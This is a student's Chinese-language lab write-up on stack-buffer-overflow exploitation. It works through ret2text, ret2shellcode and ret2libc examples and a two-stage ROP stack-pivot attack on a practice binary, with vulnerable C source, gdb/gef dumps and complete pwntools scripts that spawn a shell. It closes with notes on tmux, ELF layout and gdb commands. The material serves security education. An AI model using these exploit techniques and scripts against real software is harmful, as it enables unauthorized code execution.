lab3 binary
lab3 binary
- example 栈溢出攻击示例
- practice 实战
- begin 基础知识
lab3 example 栈溢出攻击示例
准备工作
服务器
我就用的自己的Web服务器,系统Ubuntu22.04LTS。为了方便反汇编,新建一个smb配置项方便远程访问,因为Mac是arm架构的所以直接make会出错。
gef
首先确认环境,需要gdb10和python3.10以上。
# 进入gdb
gdb -q
# 确认gdb绑定的python版本
python import sys; print(sys.version)
github页面上的一键安装老是出问题,明明网也没事,于是就git clone了。
git clone https://github.com/hugsy/gef.git ~/.gef
然后修改~/.gdbinit就可以了,只留一句
source ~/.gef/gef.py
再打开gdb发现已经配置好了。
pwntools
sudo apt install pip
pip install pwntools
理论基础
攻击流程
这三种攻击都是基于栈溢出的漏洞。在函数调用的时候,上下文保存在栈帧中,这里面有函数的返回地址。而如果我们能够修改返回地址,就可以把控制流导向我们希望的地方。而修改返回地址的方法就是越界访问,具体方式就是“声明一小块,访问一大块”。
char buf[0x20];
read(0, buf, 0x100);
编译选项
越界访问常常是非法的,这也就是为什么在编译的时候需要打开特别的选项。观察提供的makefile发现,有三个选项
- NOSTACK 关闭栈保护机制,使得可以越界访问
- NOPIE 关闭位置无关执行,使得地址确定
- NONX 关闭栈不允许执行,使得栈上的代码可以执行
payload
Payload 就是“攻击负载”,形式可以是:字符串、字节数组、shellcode、函数地址等,利用它控制程序的执行流。对于不同的攻击方式需要构造不同的payload,有时还需要程序打印一些payload需要的信息,例如libc中某函数的具体位置。攻击脚本构造payload,并且将它发送到程序中,实现攻击。
三种攻击方式
-
ret2text 这种攻击的原理是把返回地址替换成自己程序中的恶意代码地址,调用程序中的隐藏方法,实现看似printf实际shell的效果。问题是静态分析时会直接露馅。
-
ret2shellcode 原理是写一段能执行恶意效果的机器码,把它放入栈中,然后替换返回地址为这段代码的地址。这种方法不会被静态分析发现,但是需要栈可执行(NONX)。
-
ret2libc 这种攻击基于ROP,更隐蔽,利用libc中的“无害”汇编片段拼接出一段想要的机器码,不需要栈可执行。主要的问题在于获取libc中各个系统调用的位置
ret2text
这个例子的源代码中有一个未被调用的backdoor(),我们的目标就是劫持控制流到这个backdoor。
// gcc -g -fno-stack-protector -o ret2text ret2text.c -no-pie
// 编译要求
#include<stdlib.h>
#include<stdio.h>
#include<unistd.h>
void backdoor(){
char *argv[] = {"/bin/sh", NULL};
execve(argv[0], argv, NULL);
}
void vul(){
char buf[0x20];
read(0, buf, 0x40);
}
int main(){
vul();
}
gdb初步研究
我们可以在gdb中通过修改vul()的返回地址,手动把控制流导向backdoor。首先在vul处打一个断点,让程序执行到read前
gdb ./ret2text
b vul
r
现在栈中状态是
0x00007fffffffe890│+0x0000: 0x0000000000000000 ← $rsp
0x00007fffffffe898│+0x0008: 0x0000000000000000
0x00007fffffffe8a0│+0x0010: 0x0000000000000000
0x00007fffffffe8a8│+0x0018: 0x0000000000000000
0x00007fffffffe8b0│+0x0020: 0x00007fffffffe8c0 → 0x0000000000000001 ← $rbp
0x00007fffffffe8b8│+0x0028: 0x00000000004011c7 → <main+0012> mov eax, 0x0
0x00007fffffffe8c0│+0x0030: 0x0000000000000001
0x00007fffffffe8c8│+0x0038: 0x00007ffff7c29d90 → <__libc_start_call_main+0080> mov edi, eax
注意,栈是从高地址向低地址增长的,但是gdb中栈的方向是“上低下高”,容易弄乱。rsp是栈顶指针,rbp是栈底指针,根据栈的结构,rbp之后的8B是函数返回地址。也就是说,返回地址存在e8b8中,它现在指向<main+0012>。vul本来要回到main,这很合理。
再研究一下main,输入disas main得到
Dump of assembler code for function main:
0x00000000004011b5 <+0>: endbr64
0x00000000004011b9 <+4>: push rbp
0x00000000004011ba <+5>: mov rbp,rsp
0x00000000004011bd <+8>: mov eax,0x0
0x00000000004011c2 <+13>: call 0x401190 <vul>
0x00000000004011c7 <+18>: mov eax,0x0
0x00000000004011cc <+23>: pop rbp
0x00000000004011cd <+24>: ret
发现4011c7果然是call的返回地址。通过这一系列研究,函数的call和ret变得十分清晰。
gdb手动劫持控制流
现在先不管read这个漏洞,先直接修改e8b8试一试。执行
p backdoor
得到backdoor的地址为0x401156。只需要把e8b8改成这个就可以了
set *(unsigned*)0x00007fffffffe8b8 = 0x401156
c // 继续
程序成功进入了backdoor(),finish后就得到了shell。

构造payload
接下来,通过read这个漏洞实现攻击。char buf[]申请了32B的栈上空间,得到了一个指针buf,也就是当前rsp所指向的位置。而read(0, buf, 0x40)的意义是,从标准输入流读取64B放到buf上,这就可以覆盖到返回地址。
payload的前32B是buf中的内容,随便写。接下来8B是原有的rbp,也是随便写。再接下来8B就是返回地址。所以可以构造payload为b"A"*40 + b"\x56\x11\x40\x00\x00\x00\x00\x00"。
我一开始觉得直接在终端中执行并输入payload就可以,但是终端中的输入流是ascii的,而我们需要字节流。于是用python构造payload
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*40 + b"\x56\x11\x40\x00\x00\x00\x00\x00")' > payload.bin
再执行./ret2text < payload.bin,理论上来说就可以了,但是并没有拿到shell,这似乎是由于在终端中直接执行会导致/bin/sh无法获得stdin/stdout,从而无法交互。我觉得这种直接注入应该是可行的,不过尝试了很久还是无果。
构造攻击脚本
from pwn import *
# 初始化tmux行为
context.terminal = ["tmux", "splitw", "-h"]
context.log_level = "debug"
context.binary = "./ret2text"
libc = context.binary.libc
def main():
io = process(context.binary.path) # 可执行文件的位置
payload = b"a" * 32
payload += p64(0xdeadbeefdeadbeef) # fake old rbp
payload += p64(context.binary.sym['backdoor']) # ret addr通过符号表查询
gdb.attach(io) # 连接io流
io.sendline(payload) # 发送payload
io.interactive() # 进入交互式shell
if __name__ == "__main__":
main()
脚本的思路其实和手动注入是一样的,我加了一些注释。在tmux中执行脚本,就可以得到shell了。得到shell时gdb里还停留在read函数里面。finish后再在backdoor打一个断点,继续执行就可以走到execve。但是发现仍然没有得到$,gdb提示process 232369 is executing new program: /usr/bin/dash,可能就是没有交互导致的。

ret2shellcode
case2的源代码中并没有可以利用的backdoor()了,但是给出了栈的地址,并且得到了一个更长的栈溢出区域,而且栈可执行。我们的目标就是把预设的一段可以调用shell的代码注入到栈上,并且执行它。
/*
gcc -fno-stack-protector -z execstack \
-g -o ret2shellcode ret2shellcode.c
*/
#include<unistd.h>
#include<stdio.h>
void vul(){
char buf[0x20];
printf("I will give you stack: %p\n", buf);
read(0, buf, 0x100);
}
int main(){
vul();
}
构造shellcode
所谓shellcode就是一段实现execve(/bin/sh)的汇编代码,pwntools提供了一键构造并且翻译成对应架构的机器码的功能
print(shellcraft.sh()) # 输出,方便调试
shellcode = asm(shellcraft.sh())
构造payload
在case1中,我们修改返回地址为程度中的另一个函数,可以通过符号查询context.binary.sym方便地找到跳转地址。但在本例中,我们要跳转到的位置并没有提前放在内存中,而是随着payload被注入到栈中的。这也就是为什么我们需要获取栈的地址,从而得到想要的跳转位置。payload结构如下
stack_addr+0x30
|
32B覆盖buf -> 8B覆盖rbp -> 8B覆盖ret_addr -> xB的shellcode
而其中的stack_addr就是rsp的地址,也就是buf的地址。所以首先要获得stack_addr
io.recvuntil('I will give you stack: ')
stack_addr = int(io.recvline().strip(), 16)
success("stack address: " + hex(stack_addr))
这就捕获了buf的地址,接下来构造payload
payload = b"a"*0x20 + p64(0xdeadbeef) + p64(stack_addr + 0x30) + shellcode
注入payload
gdb.attach(io)
io.sendline(payload)
io.interactive()
完整脚本如下,执行后就得到了shell
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
context.log_level = "debug"
context.binary = "./ret2shellcode"
def main():
io = process(context.binary.path)
io.recvuntil('I will give you stack: ')
stack_addr = int(io.recvline().strip(), 16)
success("stack address: " + hex(stack_addr))
print(shellcraft.sh())
shellcode = asm(shellcraft.sh())
gdb.attach(io)
payload = b"a"*0x20 + p64(0xdeadbeef) + p64(stack_addr + 0x30) + shellcode
io.sendline(payload)
io.interactive()
if __name__ == "__main__":
main()
效果分析
执行脚本得到shell后,gdb还是停在read,finish之后就来到了vul返回前。此时栈已经被注入了shellcode,返回地址就是shellcode开始的地址,也就是32850(32820+30)。
0x00007fffb0032820│+0x0000: 0x6161616161616161 ← $rsp, $rsi
0x00007fffb0032828│+0x0008: 0x6161616161616161
0x00007fffb0032830│+0x0010: 0x6161616161616161
0x00007fffb0032838│+0x0018: 0x6161616161616161
0x00007fffb0032840│+0x0020: 0x00000000deadbeef ← $rbp
0x00007fffb0032848│+0x0028: 0x00007fffb0032850 → 0x6e69622fb848686a
0x00007fffb0032850│+0x0030: 0x6e69622fb848686a
0x00007fffb0032858│+0x0038: 0xe7894850732f2f2f
左侧的窗口中可以看到注入的shellcode,可以找到0x00007fffb0032850字段,不过因为是小端表示所以反过来了。在gdb中用x/20x 0x00007fffb0032850查看shellcode,发现可以和左侧对上,而x/20i就可以看到具体的code。

ret2libc
case3中的编译选项取消了execstack,就算注入了shellcode也无法执行。不过这次我们可以得到libc中的(void*)puts的地址。
/*
gcc -fno-stack-protector -no-pie \
-g -o ret2libc ret2libc.c
*/
#include<stdio.h>
#include<unistd.h>
void vul(){
char buf[0x20];
read(0, buf, 0x100);
}
int main(){
puts("hello!");
printf("I will give you libc address: %p\n", (void*)puts);
vul();
}
构造rop链
rop链由一连串的gadget组成,每个gadget都是在libc中以ret为结尾的片段,所以只要把返回地址改成rop链头部的地址,就可以一连串地执行。在构造之前,首先要得到libc的地址,case3中以printf得到了puts的地址,所以libc的首地址就是这个地址减去偏移量。
io.recvuntil('I will give you libc address: ')
libc.address = int(io.recvuntil('\n', drop=True), 16) - libc.symbols['puts']
success("libc.address: " + hex(libc.address))
得到libc地址后,使用pwntools提供的rop链构造工具即可。也可以在终端中用objdump -d libc.so.6 | grep 'pop rdi'来手动找,二者是等价的。
def create_rop_chain():
# prepare the arguments
# rdi, rsi, rdx
# invoke execve("/bin/sh", 0,0)
rop = ROP(libc)
rop.call(libc.symbols['execve'], [next(libc.search(b'/bin/sh')), 0, 0])
print(rop.dump())
return rop.chain()
rop.call中,第一个参数是想要执行的文件的地址,此处是execve在libc中的相对偏移量。第二个参数是一个寄存器数组
- rdi next(libc.search(b'/bin/sh')),libc.search会返回多个结果,用next取其中一个
- rsi 对应argv
- rdx 对应envp
构造和注入payload
和之前两个case大同小异,只不过将rbp之后的位置换成了rop对象。pwntool能自动注入,十分方便。
rop_chain = create_rop_chain()
payload = b"a"*0x20 + p64(0xdeadbeef) + rop_chain
完整脚本
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
# context.log_level = "debug"
context.binary = "./ret2libc"
libc = context.binary.libc
def create_rop_chain():
# prepare the arguments
# rdi, rsi, rdx
# invoke execve("/bin/sh", 0,0)
rop = ROP(libc)
rop.call(libc.symbols['execve'], [next(libc.search(b'/bin/sh')), 0, 0])
print(rop.dump())
return rop.chain()
def main():
io = process(context.binary.path)
io.recvuntil('I will give you libc address: ')
libc.address = int(io.recvuntil('\n', drop=True), 16) - libc.symbols['puts']
success("libc.address: " + hex(libc.address))
# gdb.attach(io, f"b *{context.binary.symbols['vul']}")
gdb.attach(io)
rop_chain = create_rop_chain()
payload = b"a"*0x20 + p64(0xdeadbeef) + rop_chain
io.sendline(payload)
io.interactive()
if __name__ == "__main__":
main()
效果分析
执行后得到了shell,同样gdb停在read中,finish后来到了vul返回前。此时发现栈中已经注入payload,rbp后的栈是0x000077a7bff1f2e7 → <qecvt+0027> pop rdx,这和打印出来的rop链吻合 0x77a7bff1f2e7 pop rdx; pop r12; ret。

从vul的最后几条汇编指令开始单步执行(si),来到ret后发现果然跳转到了 <qecvt+0027> pop rdx,这说明rop链成功执行了。

寄存器的修改顺序为rdx、rsi、rdi,本例中只有rdi是需要一个特别的值的。继续单步执行,来到了修改rsi,这里是用了libc中的 <__gconv_close_transform+00ef>作为gadget。

最后修改rdi,这就是第一个参数/bin/sh,此时栈顶rsp的内容0x0068732f6e69622f正是/bin/sh的字符串。这就完成了rop的构建。

继续前进,就来到execve了,finish后gdb就无法继续追踪了。

lab3 practice栈溢出攻击实战
准备工作
编译选项查询
checksec --file=./practice
得到
RELRO STACK CANARY NX PIE RPATH
Partial RELRO No canary found NX enabled No PIE No RPATH
没开canary,说明可以栈溢出。没有开启pie,但是开了栈不可执行,这说明shellcode方法不可用。
反汇编
通过反汇编得到该二进制文件的主要逻辑为
char name[0x100];
char buf;
int main() {
setvbuf(stdout, NULL, _IONBF, 0); // 禁用缓冲
printf("Name:"); // 打印提示
read(0, name, 0x100); // 正常读取 name
printf("Try your best:"); // 再次提示
read(0, &buf, 0x100); // 再次读取
return 0;
}
其中没有其他的隐藏函数,ret2text不可用。综上只能libc rop。
尝试gdb
记得先chmod +x ./practice
思路
这个二进制文件比前面的ret2libc例子的困难点就在于,它没有直接告诉我们libc的地址。我们需要获取libc的地址后再rop,然而获取libc地址就需要一次rop。这就要求我们溢出两次。
然而,栈溢出是一次性的,如果溢出两次就会变得十分混乱,rbp也丢了,main会直接ret然后退出。我们的想法是把栈劫持到bss区域,这就需要在第一次溢出中修改rbp而不是直接爆破它。
在第一次rop的尾部,我们把控制流导向main的开头部分,让main再跑一次。main接下来会第二次读取&name,我们只需要把第二次的rop放到bss区的name位置就可以了。
第一次溢出
rop1的构造
一开始,我觉得直接rop.call(prog.sym['prinft'], [prog.got('printf')])就可以,然而忽视了一个重要的问题:prinft是带格式的。如果有puts就好了,可惜文件里只有printf可以输出。
这个问题的解决办法是先通过read开辟一块bss里的区域,然后让脚本send一个格式化的串过去,再让printf从那里打印。那这快区域开在哪呢?通过阅读反编译的代码,得知bss一开始是name的区域,大小0x100,所以尽量远一点好。
# 先通过read在bss段写入格式字符串
bss_addr = prog.bss(0x200)
rop.call(prog.symbols['read'], [0, bss_addr])
# 然后用printf读取
rop.call(prog.symbols['printf'], [bss_addr, prog.got['printf']])
# main再现
rop.call(0x4005fe)
在这之后,再给rop链加上返回main+8的gadget。为什么不能返回main+0?因为main一开始会重置栈,这就会导致劫持失效,所以必须避开开始的几个语句。
0x4005f6 <main>: push rbp
0x4005f7 <main+1>: mov rbp,rsp
0x4005fa <main+4>: sub rsp,0x20
0x4005fe <main+8>: mov rax,QWORD PTR [rip+0x200a5b]
0x400605 <main+15>: mov ecx,0x0
payload的构造
劫持栈到bss的关键就在payload。不同于之前所有例子,这次rbp不能是deadbeef,而要设置成bss段的一个地址。设置成哪呢?还是得离前面的read-printf区域远一点。因为一开始设置的太小导致printf的输出会覆盖掉栈,导致各种意想不到的问题,困扰了我很久。
在rop加载进去之前,栈的形状是:
32B变量区 -> 8Brbp -> 8B返回地址
对应地构造payload为
payload = b"A"*0x20 + p64(bss_addr+0x300) + rop.chain()
这样,在第一次溢出后,bss区应该是这样的:
0x000 name
0x100 endofname
0x200 printf.addr
0x500 stack
数据流
脚本和二进制文件之间会发生数据交互,必须确保它们的一致性。
io.sendlineafter("Name:", b"test")
io.sendlineafter("Try your best:", payload)
io.send(b"%s\x00\x00\x00\x00\x00\x00") # 发送格式串
leak = u64(io.recv(6).ljust(8, b"\x00"))
libc.address = leak - libc.sym['printf']
success(f"libc.address = {hex(libc.address)}")
注意其中的格式串和io.recv。如果格式串设置成(b"%s\x00")就会导致recv得到过多的数据,很奇怪,脚本会收到第二次main执行时发过来的Name:。同样困扰了我很久的问题。
第二次溢出
现在,我们已经得到了libc的地址,main停在main+8的位置。为了方便调试,可以加个断点b *0x4005fe。
构造rop2
因为已经得到libc了,所以rop2只需要一句就好。
rop.call(libc.symbols['execve'], [next(libc.search(b'/bin/sh')), 0, 0])
构造payload
那payload呢?按理说直接sendline(rop)就会把rop送到bss的栈上,但不知为何还是老失败,还是得构造一个典型的payload。
fake_rbp = 0xdeadbeefdeadbeef
payload = b"A" * 0x20 + p64(fake_rbp) + rop.chain()
io.sendline("namename")
io.sendlineafter("Try your best:", payload)
我不得不承认我不知道为什么sendline不行,也许需要再多分析分析bss中的栈。
效果
成功拿到shell!

栈被劫持到bss的画面

代码
加入了很多debug和pause,还是很有用的。
from pwn import *
context.binary = "./practice"
context.terminal = ["tmux", "splitw", "-h"]
context.log_level = "debug"
io = process(context.binary.path)
libc = context.binary.libc
prog = context.binary
rop = ROP(prog)
gdb.attach(io) # 连接gdb
# ------第一次溢出------
# 先通过read在bss段写入格式字符串
bss_addr = prog.bss(0x200)
rop.call(prog.symbols['read'], [0, bss_addr])
# 然后用printf读取
rop.call(prog.symbols['printf'], [bss_addr, prog.got['printf']])
# return to main+8
rop.call(0x4005fe)
print("---- ROP 1 ----")
print(rop.dump())
pause()
# payload
# 在这里劫持rbp到bss里,设置rbp到bss段
offset = 0x20 # 留出rbp不覆盖
payload = b"A"*offset + p64(bss_addr+0x300) + rop.chain()
io.sendlineafter("Name:", b"test")
io.sendlineafter("Try your best:", payload)
io.send(b"%s\x00\x00\x00\x00\x00\x00") # 发送格式串
leak = u64(io.recv(6).ljust(8, b"\x00")) # 接收格式串
libc.address = leak - libc.sym['printf']
success(f"[+] libc.address = {hex(libc.address)}")
print(f"[+] printf@libc = {hex(leak)}")
print(f"[+] Expected new stack: {hex(bss_addr)}") # 检查rsp是否指向bss段
# ------第二次溢出------
rop = ROP(libc)
rop.call(libc.symbols['execve'], [next(libc.search(b'/bin/sh')), 0, 0])
# rop调试信息
print("---- ROP 2 ----")
print(rop.dump())
print(f"[+] ROP chain length: {len(rop.chain())}")
print(f"[+] ROP chain: {rop.chain().hex()}")
print(f"[+] execve address: {hex(libc.symbols['execve'])}")
pause()
# payload
fake_rbp = 0xdeadbeefdeadbeef # 这次rbp是什么无所谓
payload = b"A" * 0x20 + p64(fake_rbp) + rop.chain()
io.sendline("namename") # 接收第二次Name
pause()
io.sendlineafter("Try your best:", payload)
# 开启交互
io.interactive()
一些调试过程
0x00007ffffb37ee80│+0x0000: 0x4141414141414141 ← $rsp, $rsi
0x00007ffffb37ee88│+0x0008: 0x4141414141414141
0x00007ffffb37ee90│+0x0010: 0x4141414141414141
0x00007ffffb37ee98│+0x0018: 0x4141414141414141
0x00007ffffb37eea0│+0x0020: 0x4141414141414141 ← $rbp
0x00007ffffb37eea8│+0x0028: 0x00000000004006e3 → <__libc_csu_init+0063> pop rdi
0x00007ffffb37eeb0│+0x0030: 0x0000000000601018 → 0x00007a40160606f0 → <printf+0000> endbr64
0x00007ffffb37eeb8│+0x0038: 0x00000000004004b0 → <printf@plt+0000> jmp QWORD PTR [rip+0x200b62] # 0x601018 <[email protected]>
0x00007ffd10b391a0│+0x0000: 0x4141414141414141 ← $rsp, $rsi
0x00007ffd10b391a8│+0x0008: 0x4141414141414141
0x00007ffd10b391b0│+0x0010: 0x4141414141414141
0x00007ffd10b391b8│+0x0018: 0x4141414141414141
0x00007ffd10b391c0│+0x0020: 0x4141414141414141 ← $rbp
0x00007ffd10b391c8│+0x0028: 0x00000000004006e3 → <__libc_csu_init+0063> pop rdi
0x00007ffd10b391d0│+0x0030: 0x0000000000601018 → 0x00007c7a66c606f0 → <printf+0000> endbr64
0x00007ffd10b391d8│+0x0038: 0x00000000004004b0 →
main中的leave+ret: leave 等价于:
mov rsp, rbp ; rsp = rbp(让栈指针指向保存的旧rbp位置)
pop rbp ; rbp = [rsp], rsp += 8(恢复旧rbp,rsp指向返回地址)
ret 等价于:
pop rip ; rip = [rsp], rsp += 8(跳转到返回地址)
所以rbp在leave之后就没用了,rsp才有用
lab3 beginner 入门tmux、二进制、gdb
tmux
sudo apt install tmux
tmux很好,在~/.tmux.conf中加入鼠标支持后更好了,但是有个致命的问题困扰了我好久,就是没法复制粘贴到系统剪贴板。最后不得不放弃macOS自带的Terminal,用了iTerm2。网上都说按住Shift后选择文本,实际上是按住Alt,太坑了。另外有可能是配置的OSC52生效了,配置如下
# 使用 vi 风格的复制模式
setw -g mode-keys vi
# 在 vi 模式复制时,按 'y' 复制到剪贴板
bind-key -T copy-mode-vi y send -X copy-pipe-and-cancel "pbcopy"
# OSC 52 复制进本地剪贴板
bind-key -T copy-mode-vi y send -X copy-pipe-and-cancel "tmux save-buffer - | base64 | tr -d '\n' | awk '{printf \"\\033]52;c;%s\\a\", \$0}'"
另外tmux复杂的快捷键也让人不好一时熟悉,用起来比较折磨。本来觉得那就不用tmux了,开好几个ssh呗,结果攻击脚本必须用tmux,因为要出debug窗口。只能自适应了。
二进制可执行文件
结构
我使用的是binary ninja来阅读二进制文件。一个ELF格式的二进制文件结构如下
1️⃣ ELF Header (Elf64_Ehdr)
位于文件起始,包含:
- e_ident 魔数、位数(32/64)、字节序、版本等
- e_type 文件类型(EXEC/DYN/REL)
- e_entry 程序入口地址(通常指向 _start)
- e_phoff Program Header 表的偏移
- e_shoff Section Header 表的偏移
- e_flags 特定 CPU 架构标志
- e_ehsize ELF Header 自身大小
2️⃣ Program Header Table(段表)
每个表项对应一个 段(segment),是加载到内存的最小单位。内核不看 Section,只看 Segment。
- PT_LOAD 可加载段:比如 .text, .data
- PT_INTERP 动态链接器路径(如 /lib64/ld-linux-x86-64.so.2)
- PT_DYNAMIC 指向 .dynamic 表,用于动态链接
- PT_PHDR 程序头自身的段
- PT_TLS 线程局部存储段
3️⃣Section Header Table(节表)
节(section)是编译器/链接器视角的结构,用于链接和调试,运行时通常不会使用。 常见 section:
- .text 程序代码
- .data 已初始化的全局变量
- .bss 未初始化的全局变量(在运行时置为 0)
- .rodata 只读数据(如字符串字面量)
- .plt / .plt.sec 外部函数的跳转表
- .got / .got.plt 保存外部符号地址
- .dynsym 动态符号表(用于动态链接)
- .dynstr 动态字符串表(动态符号名字)
- .dynamic 描述动态依赖的信息
- .rela.plt / .rel.plt 动态链接时需要修正的地址
- .eh_frame / .debug_* 异常处理与调试符号信息
- .comment 编译器注释
- .interp 字符串段,内容是动态链接器路径
执行
-
用户输入命令 ./a.out,Shell 通过 execve() 系统调用请求内核加载该可执行文件。
-
内核: • 打开文件并识别它是一个 ELF 格式; • 读取其 Program Header Table • 按照 PT_LOAD 段的指示,把程序的 .text、.data、.rodata 等段 映射(mmap)到内存中,形成进程映像; • 设置好初始堆栈、参数、环境变量; • 设置指令指针(RIP)指向程序的入口地址_start
-
内核把控制权交给动态链接器 /lib64/ld-linux-x86-64.so.2,由ELF头部的INTERP字段指定
-
动态链接器自己是一段 ELF 可执行文件,加载后运行
-
它读取 .dynamic 段,发现程序需要 libc.so.6 等共享库,于是: • 在文件系统中搜索对应的 so 文件; • 用 mmap 把它们加载进当前进程的地址空间; • 查找.dynsym和.dynstr,为 .got.plt 中的函数地址做 符号绑定(懒加载或立即加载);
• 通过.rela执行重定位,替换地址
• 最后跳转到用户程序的 main(\ _start → __libc_start_main → main)。
内存结构
gdb/gef入门
启动gdb
输入命令gdb ./program后,gdb会读取文件并分析结构。此时程序没有真的运行,只是gdb加载了它的调试信息和构建了映射。此时就进入了交互的界面。
输入start后,gdb会根据e_entry在入口地址处设置一个断点。然后gdb调用fork创建子进程,并用execve加载程序。程序完成了链接与加载后刚刚到达入口点时,gdb捕获到断点,暂停程序。
移动
- n/next 执行下一行语句,不进入函数
- s/step执行并进入函数内部
- c/continue执行到下一个断点
- si 单步执行一条汇编指令
- finish 快速执行完当前函数,直到返回
- b/breakpoint 设置断点
- b func 函数
- b *0x4005f6 地址
- b 15 行号
- d/delete 删除断点,d 1第一个断点
查看
- info
- info locals 局部变量
- info breakpoints
- info regeisters
- info files 所有mmap的文件
- info functions所有函数调用关系
- x/fx
- x/4x $rsp 显示栈顶4字节
- x/s $rdi 显示rdi中的字符串
- x/5s 0x1234 显示五个字符串
- x/5i 五条指令
- conte/context 当前上下文
- conte stack查看栈,比x/20x $rsp强因为有指针标识
- disas/disassemble 反汇编某函数
- p/print var
- bt/backtrace 显示调用栈
- l/list显示源码
gef视图
gef通过若干窗格来展示当前的状态
- registers
- stack
- code
- threads 线程状态
- trace 调用栈
主要需要观察的其实就是栈的变化。这里面的地址全都是虚拟地址,对照着内存结构,可以很快明白哪是哪。